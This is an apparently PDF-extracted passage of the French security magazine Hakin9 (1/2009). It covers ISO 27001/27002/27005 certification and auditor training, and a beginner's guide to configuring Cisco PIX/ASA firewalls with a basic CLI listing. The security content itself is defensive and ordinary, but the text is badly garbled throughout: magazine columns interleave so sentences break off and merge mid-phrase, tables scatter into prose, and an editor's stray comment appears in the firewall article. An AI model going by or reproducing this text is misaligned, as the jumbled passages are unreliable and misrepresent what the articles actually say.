�������������������������������������������������� leader dans leur domaine. Il intervient régulièrement aux
conférences : EuSecWest, XCON, OWASP et CERT-IN.
Parmi ses autres projets, on pourra noter : Mlabs, CERA
et TrioSec.
Figure 15. Extraction des composants à partir d'un fichier SWF

1/2009 HAKIN9 43
FOCUS
KARIM HAMDAOUI

ISO 27001
Degré de difficulté

L’information constitue un bien stratégique pour l’entreprise.


Sa maîtrise et sa protection contribuent à l’efficacité de ses
actions, à la confiance accordée par ses clients, ses actionnaires
et ses collaborateurs, au développement de ses activités et à sa
pérennité.

L
a norme ISO/IEC 27001 et été publiée en possible de se faire certifier ISO 27001. Les critères
octobre 2005 par l´International Organisation de mesure concrets proposés par la norme
for Standardisation (ISO) en lien avec est et les 133 mesures de sécurité couvrent tous les
l´International Electrotechnical Commission (IEC), aspects techniques, organisationnels, humains
dédiée au domaine de la sécurité de l'information. et juridiques.
Elle concerne plus précisément la définition et la
mise en place d'un Système de Management Cette norme est-elle populaire ?
de la Sécurité de l'Information, appelé également Certains pays, comme le Japon ou le Royaume-
SMSI (ISMS : Information Security Management Uni ont mis en place des schémas de certification
System), selon le modèle de qualité PDCA (Plan sécurité depuis la fin des années 90. Selon
Do Check Act) afin d'assurer une amélioration l’international Register of ISMS Certificates (http://
continue de la sécurité d'information. www.iso27001certificates.com), environ 4848
ISO 27001 s´inspire du standard BS 7799 sociétés sont certifiées dans le monde. À l’heure
de l´organisme britannique de certification BSI, actuelle, seule 16 sociétés dans le monde
qui concernait la Disponibilité, la Confidentialité francophone sont certifiées ISO 27001 avec deux
et I´intégrité des informations de l’organisme sociétés certifiés au Maroc et une dizaine en
(appelé dans notre jargon DIC), elle comprend une France alors que le Japon en compte déjà 2789,
approche globale de la sécurité de l´information l’inde 427, la Grande Bretagne 378 et la Taiwan 187.
et de l´infrastructure en garantissant la protection Après des débuts hésitants, les certifications
contre la perte, le détournement ou la falsification qualité ISO 9000 sont entrées dans les mœurs
des informations et accès permanent aux des entreprises. Les certifications ISO 27000
utilisateurs autorisés. Il implique également des prendront certainement le même chemin. ISO
audits de surveillance et le suivi des performances 27001 est surtout populaire à l'étranger, dans la
des fournisseurs, ainsi qu´une évaluation des francophonie, ce n’est pas le cas. Si ce certificat
CET ARTICLE risques et de l´efficacité des contrôles. reste peu connu ou reconnu dans le monde
EXPLIQUE L'ISO 27001 définit l'ensemble des tests francophone, ce n’est pas le cas de ceux qui
La Norme ISO27001 : nouveau et contrôles à effectuer pour s'assurer du bon veulent faire la différence, comme c’est le cas de
challenge et un guide à suivre. respect d'ISO 27002 (anciennement ISO/CEI l'Inde ou certains pays de l'Est (ex. Hongrie avec 74
17799). Cette dernière est l’annexe A d’ISO 27001 certificats, république tchèque ou la Pologne) qui
CE QU'IL FAUT
SAVOIR est composée de 133 mesures de sécurité œuvre pour le développement de l’offshoring
ISO27001, entreprise / individu
classées dans 11 chapîtres de sécurité. Comme et d’avoir une crédibilité envers leurs partenaires.
se faire certifier pour les normes ISO 9001 et ISO 14001, il est La norme certifiante ISO 27001 va conduire

44 HAKIN9 1/2009
ISO 27001

à un processus de sécurité ayant une gestion ISO et donc d´offrir un service de de protéger et de sécuriser leur capital
forte visibilité internationale. La certification premier ordre aux parties intéressées informationnel de celui de leurs clients,
ISO 27001 peut devenir un impératif (clients, collaborateurs, fournisseurs, ...). En partenaires, collaborateurs...
dans des appels d'offres. Au Maroc, ISO outre, ISO 27001 permet de développer la Cette certification ISO 27001 est un
27001 connaît un essor depuis 2008. compétitivité des entreprises sur le marché, moyen essentiel pour que les entreprises
Pour les entreprises cotées en bourse aux qui connaît une forte demande pour les prouvent leur implication dans ce domaine.
ETATS-UNIS, cette norme est utilisée pour services informatiques et l´infogérance. Cette norme est destinées à tout
mettre en œuvre un cadre de conformité Cette nouvelle certification aide à placer les organisme, parce qu’on peut bien certifier
à la loi Sarbanes-Oxley. Dans le secteur entreprises en position de force pour saisir un grand compte qu'une petite, moyenne
de la santé, elle vient répondre aux pré les opportunités sur le marché. ou micro entreprise. L’important est d’arrêter
requis de Health Insurance Portability and le scope de la certification qui peut être
Accountability Act (HIPAA). Quel est son intérêt ? une filiale, un site, un processus (une unité
Dans l’administration publique au Les entreprises certifiées ISO 27001 organisationnelle par exemple). La mise
Maroc, ISO 27001 et ISO 27002 est une montrent qu’elles ont appréhendé la en œuvre de solutions de sécurité peut
référence de bonnes pratiques en matière dimension mondiale du problème de la engendrer des économies substantielles
de sécurité de l’information. sécurité de l’information. Les entreprises et contribuer à améliorer la productivité de
doivent être conscientes de la nécessité l'entreprise.
Jusqu'à quel point les
entreprises s’intéressent Établissement du contexte
à cette norme ? (échelles des dysfonctionnements,
critères acceptation, niveaux de gravité)
Nous ne pouvons pas répondre
exhaustivement mais de plus en plus
d’entreprise s'intéresse à cette norme, dans Identification des risques
le monde francophone nous sommes (identification des actifs, menaces,
vulnérabilités et des impacts)
en retard mais cela devrait s'arranger
au fil des mois, même pour le moment,

risques
les entreprises ne jugent pas encore
risques

la certification ISO 27001 comme une


priorité absolue. Actuellement, bon nombre Estimation des risques
(gravité des risques résultants
d'entreprises remettent à plat leur politique démarche qualitative ou quantitative)

des
de sécurité de l'information ou réalisent des
aux

audits sécurité et d’ici quelques années,

réestilation
la très grande majorité des Responsables
relative

Sécurité de l'information (RSI ou RSSI) Évaluation des risques


l'auront alignée sur le principe de la norme (classification de risques
par niveau d'acceptabilité)
ISO 27001. Certains iront même jusqu'à
viser la certification. La mise en place
Communication

du SMSI au sein des organismes leur Appéciation Non


et

permettront tout d’abord de corriger des risques


acceptables
Surveillance

Oui
failles dans la sécurité de l’information
pouvant provoquer une escalade de pertes
financières et désorganiser leurs opérations. Traitement des risques
(sélection des mesures de sécurité
Cette certification va tout à fait dans ou évitement, transfert,...)
le sens de la volonté des entreprises
en apportant une fiabilité optimale aux
clients, investisseurs, collaborateurs Risques Non
et partenaires. Si elle ne révolutionne résiduels
acceptable
pas fondamentalement les processus Oui
internes et permis de les rationaliser
significativement. ISO 27001 étant
Acceptation du portefeuille
compatible avec d´autres normes que des risques résiduels
la majorité des entreprises appliquent
déjà, comme ISO 9000 et ISO 14000,
Synthèse du processus
ces entreprises peuvent développer un de management des risques
(selon ISO 27005)
système de gestion intégrant efficacement
les exigences de chaque référentiel de Figura 1. Voici la démarche proposée par l'ISO 27005

1/2009 HAKIN9 45
FOCUS
Les thèmes abordés par et de la revue de direction, ou d'autres mis en œuvre pour répondre aux exigences
l'ISO 27001 informations pertinentes, pour une identifiées par une évaluation du risque
ISO27001 adopte le modèle de processus amélioration continue dudit système. selon différente méthode (ISO27005*,
Planifier-Déployer-Contrôler-Agir (PDCA) Octave, Ebios, Mehari, …). La présente
ou roue de Deming qui est appliqué à la Une organisation qui demande Norme internationale est prévue comme
structure de tous les processus d’un SMSI. la certification doit se soumettre base commune et ligne directrice pratique
Ce dernier utilise comme élément d'entrée obligatoirement à toutes les clauses (4 à 8) pour élaborer les référentiels de sécurité
les exigences relatives à la sécurité de et déclarer les contrôles applicables dans de l’organisation, mettre en œuvre les
l'information et les attentes des parties la Dda (Déclaration d'applicabilité) ou SOA pratiques efficaces de la gestion de la
intéressées (Client, partenaire, fournisseur, (Statement of applicability). sécurité, et participer au développement
collaborateur, investisseur), par les actions ISO27002 est l'Annexe A de la norme de la confiance dans les activités entre
et processus nécessaires, les résultats ISO 27001, elle contient une liste complète organismes. Voir Tableau 1
de sécurité de l’information satisfont ces d'objectifs de sécurité et des mesures de Au moins 25 mesures de contrôle de
exigences et ces attentes. sécurité qui se sont révélés communément l’annexe A ont un caractère obligatoire car
Management du système de sécurité : appropriés aux organismes. Les elles sont liées avec les clauses 4 a 8 de la
utilisateurs de la présente Norme norme ISO 27001 qui sont des pré-requis
• Planifier (établissement du SMSI): Établir internationale doivent se reporter à l'Annexe de la norme. Par exemple, une organisation
la politique, les objectifs, les processus A comme point de départ de sélection ne peut pas exclure la mise en œuvre d’un
et les procédures du SMSI relatives à la des mesures de sécurité, afin de s'assurer programme de sensibilisation et indiquer la
gestion du risque et à l'amélioration de qu'aucune option importante de sécurité clause A.8.2.2. non applicable car la clause
la sécurité de l'information de manière n'est négligée. 5.2.2. précise que la sensibilisation est une
à fournir des résultats conformes aux exigence obligatoire.
politiques et aux objectifs globaux de ISO27002 : Objectifs de contrôle
l'organisme. et contrôles ISO27005
• Déployer (mise en œuvre et Révisée en 2005, ISO 17799 est un guide ISO (International Standard Organisation)
fonctionnement du SMSI): Mettre de bonnes pratiques pour le management a publié, le 4 juin 2008, la première norme
en œuvre et exploiter la politique, de la sécurité de l’information. En 2007, de gestion des risques de la Sécurité
les mesures, les processus et les elle devient ISO 27002 afin d’être intégrée des Systèmes d'Information : l'ISO 27005:
procédures du SMSI. à la famille ISO 27000. Cette Norme 2008.
• Contrôler (surveillance et réexamen internationale établit des lignes directrices La norme ISO 27005 propose une
du SMSI): Évaluer et, le cas échéant, et des principes généraux pour préparer, méthodologie de gestion de risques
mesurer les performances des mettre en œuvre, entretenir et améliorer la conforme à la norme ISO 27001, tout en
processus par rapport à la politique, gestion de la sécurité de l’information au étant utilisable de manière indépendante.
aux objectifs et à l'expérience pratique sein d’un organisme. Les objectifs tracés Elle applique à la gestion des risques le
et rendre compte des résultats à la dans la présente Norme internationale cycle d'amélioration continue PDCA (Plan,
direction pour réexamen. fournissent une orientation générale sur Do, Check, Act) utilisé dans toutes les
• Agir (mise à jour et amélioration les buts acceptés communément dans la normes de systèmes de management.
du SMSI): Entreprendre les actions gestion de la sécurité de l’information. La norme ISO 27005 est un guide
correctives et préventives, sur la base Les objectifs et mesures décrits dans expliquant la démarche de gestion
des résultats de l'audit interne du SMSI la Norme ISO27002 sont destinés à être des risques pesant sur les Systèmes
d'Information. Des méthodes de gestion
Tableau 1. Onze sections de la Norme ISO27002
des risques existent dans chaque pays;
A5 La politique de sécurité nous pouvons citer EBIOS de la DCSSI,
A6 L’organisation de la sécurité de l’information MEHARI et MARION du CLUSIF pour la
France ou encore CRAMM pour l'Angleterre.
A7 La gestion des actifs
L'ISO 27005 est en réalité une synthèse de
A8 La sécurité des ressources humaines toutes ces méthodes.
A9 La sécurité physique et environnementale L'ISO 27005 n'est pas une méthode,
A 10 La gestion des communications et des opérations mais celle-ci décrit les grandes étapes
classiques de la gestion des risques des
A 11 Le contrôle d’accès
Systèmes d'Information. En l'occurrence, elle
A 12 L’acquisition, le développement et l’entretien des systèmes d’information définit :
A 13 La gestion des incidents de sécurité de l’information
• L'identification et la classification des
A 14 La gestion de la continuité des affaires
actifs,
A 15 La conformité • L'identification des menaces potentielles,

46 HAKIN9 1/2009
ISO 27001

• Leurs probabilités de survenance, En cas d’échec, un étudiant peut se • Participation à des forums et à des
• L'évaluation de la gravité des risques en réinscrire à un examen, sans fraist. De plus, associations professionnelles
fonction des valeurs des actifs, il peut se réinscrire gratuitement à une • Formations
• Le choix de traitement des risques... deuxième séance de formation du même
cours. Les auditeurs doivent respecter les
Préparation à l'examen principes fondamentaux suivants :
ISO27001 Conditions d'éthique L'indépendance :
Les participants sont évalués de deux et d'expérience
manières : La certification RABQSA ou IRCA peut • C’est la base de l'impartialité et de
aider à maximiser le potentiel de carrière l'objectivité de l'audit ainsi que des
• Une évaluation en continu qui prend en et à atteindre les objectifs professionnels. conclusions de l’audit. L'indépendance
compte les résultats des exercices Si un certifié postule pour un emploi, est la liberté face à l'interférence.
et des devoirs. la certification fournit la preuve de la C'est l'assurance de l'impartialité
• Un examen final (à l’écrit). compétence et des qualifications. et de l’objectivité de l’audit. Quand
La certification RABQSA ou IRCA est la les auditeurs sont indépendants, ils
Les étudiants doivent réussir chacun les reconnaissance formelle des compétences devraient donner des jugements
éléments du cours. personnelles dans l’amélioration de la impartiaux. L'indépendance des
Pour réussir, un étudiant doit réussir performance des organisations en termes auditeurs est également garantie
l'évaluation continue et l'examen final, d’efficacité, d’efficience et de compétitivité. par l‘indépendance de l’organisme
et compléter tous les modules du cours. D’après les enquêtes annuelles de certificateur, non par l'audité, et le
Les étudiants doivent manifester des salaire publiées par le magazine Quality respect du code de conduite de l’IRCA
niveaux de performance acceptables dans Progress, les auditeurs certifiés de ou du RABQSA (révélation de tous
l’étude des objectifs présentés au cours. systèmes de management ont un salaire rapports avec l'audité, non acception de
On jugera leur performance sur la base des moyen considérablement plus élevé que cadeaux…).
exercices et des résultats des devoirs, des leurs homologues non certifiés. Un accord
discussions, de leur participation et de leur bilatéral avec l’IRCA, Londres, Milwaukee Indépendance d’esprit :
rétroaction. et Sydney, 1 juin 2006
Pour ISO 27001 Lead Auditor, les l’IRCA et la RABQSA International ont • L'état d’esprit qui permet l'expression
participants seront évalués selon trois unités signés un accord bilatéral qui permet d'une conclusion sans qu’elle soit
de compétences: la reconnaissance mutuelle de leurs affectée par des influences pouvant
certifications de formations. Les deux compromettre le jugement professionnel.
• Sécurité de l’information (IS) organismes s’engagent à effectuer Cet état d’esprit permet à un individu
• Techniques d’audits (AU) une série d’évaluations qui permettra d'agir avec l'intégrité, l'objectivité et le
• Techniques d’auditeur principal (TL) l’identification des formations qui pourront scepticisme professionnel.
être certifiées et acceptées par les deux
Pour ISO 27001 Lead Implementer, Les organismes. Ces formations et celles L’apparence d’indépendance :
participants seront évalués selon trois à venir seront ajoutées à une liste de
domaines de compétences : certificats acceptés mutuellement qui • Eviter toute action (fait ou circonstance)
sera rendu public. ISO27001 est reconnu qui serait perçue par une tierce
• Sécurité de l’information (IS) mutuellement. partie raisonnable et informée (ayant
• Amélioration des organisations (OI) Une amélioration professionnelle connaissance de toute l’information
• Conseil a la direction (MC) continue est une exigence de l’IRCA et du appropriée) comme un manque
RABQSA, cela est nécessaire pour garder d’intégrité, d’objectivité ou de scepticisme
Le certificat delivré est valide pour 3 ans la certification. professionnel de la part d’une
à partir du dernier jour de la formation. Ce CPE Continual Professional Education organisation ou d’un de ses membres.
délai ne tient pas compte de la date de est une amélioration continuelle des
l’examen final et permet à l’étudiant de se compétences, des connaissances et des Conclusion
faire enregistrer en tant qu’auditeur certifié capacités en audit. La mise en œuvre du SMSI engendrera des
auprès du RABQSA ou IRCA. L’auditeur doit démontrer qu’il a suivi économies substantielles et contribuera
En cas d’échec au passage de au moins 45 heures de CPE lors des à améliorer la productivité de l'entreprise.
l’examen ou de l’évaluation continue (mais 3 dernières années. Les heures de CPE
ayant satisfait la condition de présence), doivent se rapporter à l’audit et au SMSI.
l’étudiant recevra une attestation de Différentes façons de faire existent : Karim Hamdaoui
Directeur Général du Cabinet LMPS Consulting
présence. Cette attestation n’est pas Expert en sécurité de l’information (ISO 27001 Lead
Auditor IRCA : 01194481, ISO 27001 Lead Implementer
acceptée par l'organisme de certification • Recherches & ISO 20000 Lead Implementer). L'auteur peut être
d'auditeur (IRCA, RABQSA). • Rédaction d’articles contacté à l'adresse : contact@lmps-consulting.com

1/2009 HAKIN9 47
PRATIQUE
ALEXANDRE CHAIGNEAU

Débuter
avec un pare feu Cisco
Degré de difficulté

Les pare-feux Cisco délivrent aux entreprises une gamme


de produits fournissant des accès distants dans une solution
sécurisée, ajustable et robuste.

L
e paragraphe situé a la suite pare-feux Cisco. Comme la plupart le savent déjà
correspondant pour moi aux objectifs un pare-feu est un élément logiciel et/ou matériel
de cet ar ticle et devrait peut etre se qui a pour fonction de faire respecter la politique de
trouver dans un cadre au début de l’ar ticle. sécurité du réseau, celle-ci définissant quels sont
En ef fet, l’insérer a cet endroit fait perdre en les types de communication autorisés et interdits.
cohérence.
À propos des pare-feux Cisco
• Pare feu à gestion d'état basée sur le state-of- Chez Cisco, il existe différentes solutions de sécurité,
the-art Adaptive Security Algorithm (ASA), nous allons nous intéresser au PIX/ASA. Tout d'abord,
• Le support de plus de 100 applications il faut savoir que les Pix n'ont pas été conçu à l'origine
prédéfinies, services et protocoles pour des par Cisco. En effet, les PIX furent créées par la société
contrôle d'accès flexible, Network Translation Inc. Cette entreprise a été racheté
• Les fonctions de réseau privé virtuel (VPN) pour par Cisco en 1995. Cisco a néanmoins poursuivi le
les accès distants utilisant les standard IKE / développement des Pix et notamment l'intégration de
IPSec, son système d'exploitation bien connu des amateurs
• Une protection contre plus de 55 différentes de routeurs : l'IOS (Internetwork Operating System). La
attaques de réseau, version la plus répandue de l'IOS sur la gamme des
CET ARTICLE • Le filtrage d'URL pour le trafic sortant. PIX est la version 6.x. Début 2005, Cisco a lancé une
EXPLIQUE...
nouvelle gamme de pare-feux en vue de remplacer
Présentation de la gamme Cisco
PIX et ASA.
Faire connaissance avec les pare-feux Cisco, les les PIX avec du matériel plus puissant et des
différentes manières de configurer son pare-feu, soit fonctionnalités plus poussées. Cette nouvelle gamme
Configurer un Cisco PIX/ASA.
par l'interface graphique, soit par la traditionnelle de produit est la gamme ASA (Adaptive Security
Mettre à jour l'IOS d'un PIX/ASA.
interface en ligne de commande. Réaliser une Appliance). Il existe différentes version de l'IOS destiné
CE QU'IL FAUT configuration de base du système avec une aux PIX et aux ASA :
SAVOIR... interface WAN et une interface LAN. Mettre en
Bonne connaissance des place une connexion VPN entre deux sites. Et enfin • Pre 5.X : antérieure à l'acquisition de Network
protocoles TCP/IP.
comment procéder à la mise à jour de l'IOS afin Translation par Cisco,
Compréhension des d'étendre les possibilités de notre pare-feu. • 5.X et 6.X : premières versions qui font suite
mécanismes des pare-feux.
à la fusion synthaxique avec Cisco IOS,
Compréhension des systèmes
NAT/PAT, DMZ, et RFC 1918. Introduction • 7.X : dernières versions pour les PIX qui
Notion des fonctionnements
Dans cet article nous allons nous intéresser au correspondent à la sortie de la gamme Cisco
VPN IPSec. pare-feu, et plus particulièrement à la famille des ASA. Ces versions contiennent un binaire

48 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO

exactement identique à celui des PIX d'interface et de RAM supporté par la


mais sont conçues pour du matériel plateforme,
plus récent et plus puissant. • Active / Standby failover : Permet
d'utiliser les fonctions de failover (haute
Matériel disponibilité en cas de panne) avec
Voici le tableau récapitulatif des différences deux pare-feux en plaçant l'un en
de matériel entre les principales versions fonction et l'autre en attente (pas de
des PIX et ASA. Vous pouvez observer sur la répartition de charges),
Figure 1 l'intérieur d'un ASA 5505 (Tableau 1). • Active / Active failover : Permet d'utiliser
les fonctions de failover et également
Logiciel celles des répartitions de charges Figure 1. ASA5505 vue de l’intérieur
Voici un tableau récapitulatif des capacités entre deux équipements.
des différentes versions du PIX (Tableau 2). pare-feux à états vérifient la conformité
Tableau 3 comparatif des licences des paquets d'une connexion en cours.
Licence Restricted et Unrestricted pour les PIX. Pour ce faire, ils vérifient que chaque
Il existe différentes licences d'utilisation Important : Les licences Restricted, paquet d'une connexion est bien la
disponibles pour la gamme PIX/ASA. Unrestricted et Failover ne sont disponibles suite du précédent paquet et la réponse
Certaines fonctionnalités ne seront donc que pour les versions 515E, 525 et 535. à un paquet envoyé. Ainsi, lors de
accessible que si vous disposez de la l'envoi d'un paquet TCP, les règles de
licence adéquate. Voici un rapide tour Configurer son pare-feu filtrage seront inspectées et si l'envoi est
d'horizon des licences disponibles : PIX/ASA autorisé, alors la réponse sera attendue
Il existe différents types de pare-feux, ceux et automatiquement acceptée sans avoir
• Restricted : Limite le nombre des sans gestion d'états, à gestion d'états, à spécifier une règle de filtrage pour
interfaces supportées ainsi que la applicatifs. Les PIX/ASA sont des pare-feux l'acceptation de la réponse.
capacité en RAM, à gestion d'état. Ce type de pare-feu, plus performant
• Unrestricted : Autorise l'installation Les protocoles comme TCP permet une gestion simplifiée des règles
et l'utilisation du nombre maximum introduisent une notion de connexion. Les de filtrage. Access-list (Access Control

Tableau 1. Comparatif matériels entre les différents PIX et ASA


Date de Type CPU Fréquence CPU Quantité de Quantité de Nombre
commercialisation RAM mémoire flash d'interface
maximum
PIX 501 2001 AMD 5x86 133 Mhz 16 MB 8 MB 2
PIX 506E
2002 Intel Celeron 300 Mhz 32 MB 8 MB 2
PIX 515E 2002 Intel Pentium 433 Mhz 64 MB 16 MB 6
III
PIX 525
2000 Intel Pentium 600 Mhz 128 MB 16 MB 10
III
PIX 535
2000 Intel Pentium 1 Ghz 512 MB 16 MB 14
IV
ASA 5505
2005 AMD Geode 500 Mhz 256 MB 64 MB 3
ASA 5510
2005 Intel Celeron 1.6 Ghz 256 MB 64 MB 50
ASA 5520
2005 Intel Celeron 2 Ghz 512 MB 64 MB 150
ASA 5540
2005 Intel Pentium 2 Ghz 1024 MB 64 MB 200
IV
ASA 5550
2006 Intel Pentium 3 Ghz 4096 MB 64 MB 250
IV

1/2009 HAKIN9 49
PRATIQUE
List ) : Une Access Control List ou ACL Afin de commencer, nous allons utiliser
est une liste de contrôle sur un pare-feu le câble console pour accéder à la Notes
autorisant ou non une liste d'adresses configuration en ligne de commande
ou de ports. Il existe plusieurs familles (CLI). Pour ce faire, utilisez l'hyperterminal. • [1] Possibilité de créer des pare-feux
virtuels au sein d'un même appareil,
d'ACL : Le paramétrage de l'hyperterminal pour
• [2] http://www.chiark.greenend.org.uk/
accéder à la configuration doit être : ~sgtatham/putty/download.html,
• ACL standard : permet de contrôler • [3] https://tools.cisco.com/SWIFT/
l'adresse de destination avec une IP • Bits par seconde : 9600, Licensing/jsp/formGenerator/
et un masque, • Bits de donnée : 8, Pix3DesMsgDisplay.jsp.
• ACL étendue : permet notamment de • Parité : Aucun,
contrôler l'adresse IP de destination, • Bits d'arrêt : 1, connaître les arguments de la commande
le masque, le type de protocole (TCP, • Contrôle de flux : Aucun. show, vous pouvez faire show ?
UDP, ICMP...), le port source et celui de Comme notre système est fraichement
destination. Une fois raccordé, vous pouvez allumer déballé et allumé, nous n'avons pas grand
le pare-feu et suivre le chargement de chose à visualiser, nous allons donc passer
Configuration avec l'interface en ligne de l'IOS. Une fois le chargement terminé, vous en mode privilégié avec la commande
commande : pouvez vous connectez à l'aide du mot de enable. Par défaut, il n'y a pas de mot de
passe par défaut : cisco. Vous entrerez ainsi passe pour atteindre ce mode. Remarquez
Pré-requis : dans le mode non privilégié dans lequel que le signe # est venu s'ajouter à la fin du
Ordinateur avec port série vous ne pourrez faire que de la consultation prompt afin de visualiser que vous vous
Câble console COM-RJ45 avec la commande show. Afin d'obtenir la trouvez en mode privilégié. Nous pouvons
Logiciel d'émulation (Hyperterminal) liste des commandes disponibles dans ce maintenant effectuer des opérations de
PIX515E avec 16 MB de flash et 64 MB mode, utilisez la commande ? Pour obtenir copie, de visualisation des connexions en
de RAM ou ASA série 5500 de l'aide sur une commande particulière cours ainsi que les opérations permises
(voir figure 2) ajouté le point d'interrogation à la suite de la dans le mode précédent et surtout entrez
Cisco IOS v7.0 ou supérieur commande. Par exemple, si vous souhaitez dans le mode de configuration. Pour ce
faire, tapez configure terminal. Le prompt
Tableau 2. Comparatif des capacités des PIX
va changer de nouveau pour devenir
PIX PIX PIX PIX PIX 535 (config)#. Maintenant rentrons dans le vif du
501 506E 515E 525 sujet et paramétrons notre système. Nous
Nombre de connexion 7500 25 000 130 000 280 500 allons réaliser une configuration simple avec
simultanée 000 000 un réseau interne que nous nommerons
Bande passante 60 100 188 330 1,7 inside et un réseau externe outside. Nous
Mbps Mbps Mbps Mbps Gbps n'utiliserons donc que deux interfaces sur
0 2 25 100 150 notre PIX/ASA. La Figure 3 présente le
Nombre de Vlan MAX schéma réseau de la configuration.
Pour commencer, nous allons attribuer
Context [1] Non Non 5 50 50
à chaque interface son adresse IP et
Nombre de connexion VPN 10 25 2000 2000 2000 configurer l'accès SSH à notre PIX/ASA
simultanée
depuis le LAN. Un show version vous
Version maximum de l'IOS 6.3(x) 6.3(x) 8.x 7.x 7.x affichera la configuration du matériel et du
logiciel de votre système et nous permettra
Tableau 3. Comparatif des licences Restricted et Unrestricted pour les PIX
de trouver le nom des interfaces.
Type de licence Interfaces physique VLANs Contexts Mémoire Failover Nous disposons maintenant de nos
PIX 515E interfaces interne (inside) et externe (outside)
ayant chacune leur adresse IP et masque
Restricted 3 10 Non 64 Non
de sous réseaux configurés. Les niveaux de
Unrestricted 6 25 5 128 Oui sécurité définissent les échanges autorisés
PIX 525 implicitement. En effet, toute communication
d'une interface d'un niveau vers une interface
Restricted 6 25 Non 128 Non
de niveau inférieure est autorisé, l'inverse est
Unrestricted 10 100 50 256 Oui interdit. Ainsi, la communication de l'interface
PIX 535 inside vers l'outside est autorisé. Nous
Restricted 8 50 Non 512 Non aurions pu dans le cas d'utilisation de trois
interfaces ajouter une interface DMZ avec un
Unrestricted 14 150 50 1024 Oui
niveau 50 qui aurait permit depuis celle-ci

50 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO

1/2009 HAKIN9 51
PRATIQUE
de joindre l'outside et d'être jointe depuis Comme l'interface outside sera notre porte toute les étapes à effectuer Listing 1. L'ACL
l'inside. Il est possible de configurer l'accès d'accès à internet, il faut également définir acl-outside va ainsi permettre les réponses
à l'appareil en Telnet de la même manière la route par défaut sur cette interface. aux requêtes ping, l'accès aux différents
que pour le SSH, mais utiliser SSH à la place Les machines du réseau local peuvent serveurs avec pour chacun une adresse
de Telnet est une bonne habitude à prendre. maintenant surfer sur internet, mais nos différente. La commande logging définit
Enfin, nous avons généré les clés RSA serveurs Web, FTP et mail doivent également les options de logs et l'adresse du serveur
nécessaires au fonctionnement de SSH. Il est être joignable depuis le réseau Internet. Pour syslog sur le réseau local. Les commandes
facile de vérifier que l'accès SSH fonctionne ce faire, une translation d'adresse du réseau static permettent d'effectuer la translation
en utilisant un logiciel tel que Putty [2]. externe vers le réseau interne est nécessaire. d'adresse pour joindre les serveurs depuis
Afin d'assurer la sécurité du système, Mais les niveaux de sécurité des interfaces le réseau externe. La commande access-
il est impératif de configurer les mots de ne permettent pas la communication de group indique qu'il faut utiliser l'access
passe. Pour ce faire, utiliser les commande l'outside vers l'inside comme nous l'avons list acl-outside sur l'interface externe. Et
passwd et enable password après être expliqué auparavant. Nous devons donc enfin, la route indique l'adresse afin de
entré en mode configuration configure explicitement fournir les règles nécessaires joindre la passerelle. L'enregistrement de
terminal. Tous les caractères sont pour autoriser ces accès. Pour ce faire, la configuration s'effectue après être sorti
acceptés mais les mots de passe ne doivent l'utilisation d'une ACL s'impose. Nous du mode configuration ((config)#) avec
pas dépasser seize caractères. Le nom de appellerons cette access list acl-outside. Elle la commande exit et retourné en mode
l'appareil doit également être fixé à l'aide de permettra de joindre notre serveur web sur le privilégié (#) avec write memory.
la commande hostname. La configuration port 80, notre serveur ftp sur le port 21 et le Nous disposons maintenant d'un
ne permet cependant pas de joindre le serveur smtp. Reste à réaliser ces quelques appareil en état de fonctionnement avec une
réseau externe depuis les machines du opérations et à vérifier que tout fonctionne. configuration simple de quelques lignes.
réseau interne. En effet, il va falloir réaliser Afin de faciliter la correction d'erreur et de
une translation de port après avoir déclaré le visualiser les messages du système, il est Configuration avec
pool à utiliser. Les commandes global possible d'activer l'affichage dans la console l'interface graphique
et nat permettent de réaliser ces opérations. ainsi que sur un serveur syslog. Détaillons Nous avons vu comment démarrer et
configurer son pare-feu par l'intermédiaire
de la ligne de commande, mais une fois la
configuration initiale effectuée, vous disposez
d'un outil pour configurer votre pare-feu
Cisco ASA 5505
à l'aide d'une interface graphique. En effet,
il exite une interface graphique nommé PDM
(PIX Device Manager) pour les versions
Blue console cable IOS < 7.0 ou depuis l'IOS 7.0 l'outil ADSM
(Adaptive Device Software Manager). Pour
Power supply adapter ce faire, il faut installer la version d'ADSM
correspondant à votre version d'IOS.

Cable Yellow Ethernet cable


(US shown)
• Si votre IOS est en version 6.3 par
exemple alors PDM doit être en
version 3.x,
• Une version 7.2(4) de l'IOS nécessitera
Documentation
la version 5.2(4) de l'ADSM.

Figure 2. ASA5505 fraîchement déballé et ses accessoires Une fois que vous aurez téléchargé les
binaires nécessaires sur le site de Cisco,
vous pourrez les installer sur votre pare-feu.
192.168.1.1 10.1.1.1
Inside Outside
Il est à noter que l'installation de PDM (donc
Gateway
IOS<7.0) nécessitera le câble console afin
Clients
d'entrer en mode de configuration Monitor.
Web Server Internet
192.168.1.4 192.168.1.0/24 10.1.1.0/24 Pour ce qui est des IOS 7 et supérieur, une
Pix Gateway simple copie depuis un serveur tftp sera
Mail Server
192.168.1.15
Router suffisante (Listing 2).
Et voici ! ASDM est maintenant installé
FTP Server
192.168.1.10 (voir Figure 4) et configuré pour fonctionner.
Vous pouvez l'utilisez à partir de votre
Figure 3. Schéma réseau de l’installation de base navigateur à l'adresse : https://ip_lan_firewall

52 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO

et configurer le pare-feu, en utilisant les outils


de gestion et de tests tel que packet-tracer Listing 1. Commande à effectuer pour la configuration de base
(voir Figure 5). show version
interface Ethernet0
Réaliser une connexion nameif outside
security-level 0
sécurisée entre deux sites ip address 10.1.1.1 255.255.255.0
(Tunnel VPN) exit
Il est fréquent que les entreprises se interface Ethernet1
nameif inside
trouvent partagées sur plusieurs sites
security-level 100
géographiques. Le problème est que ip address 192.168.1.1 255.255.255.0
les filiales sont alors isolées du siège de exit
l'entreprise, des serveurs et informations ssh timeout 15
ssh 192.168.1.0 255.255.255.0 inside
de celles-ci. Il est possible de réaliser une
crypto key generate rsa
connexion sécurisée à travers un réseau access-list acl-outside permit icmp any any echo-reply
public comme internet et de garantir access-list acl-outside permit icmp any any time-exceeded
access-list acl-outside permit icmp any any unreachable
l'authenticité et la confidentialité des
access-list acl-outside permit tcp any host 10.1.1.3 eq www
informations échangées. La technologie access-list acl-outside permit tcp any host 10.1.1.4 eq smtp
IPSec et les capacités des PIX/ASA vont access-list acl-outside permit tcp any host 10.1.1.5 eq ftp
nous permettre de réaliser tout cela. Les logging enable
logging buffered errors
détails et les informations sont disponible
logging trap notifications
sur la Figure 6. Avec la configuration que logging host inside 192.168.1.220
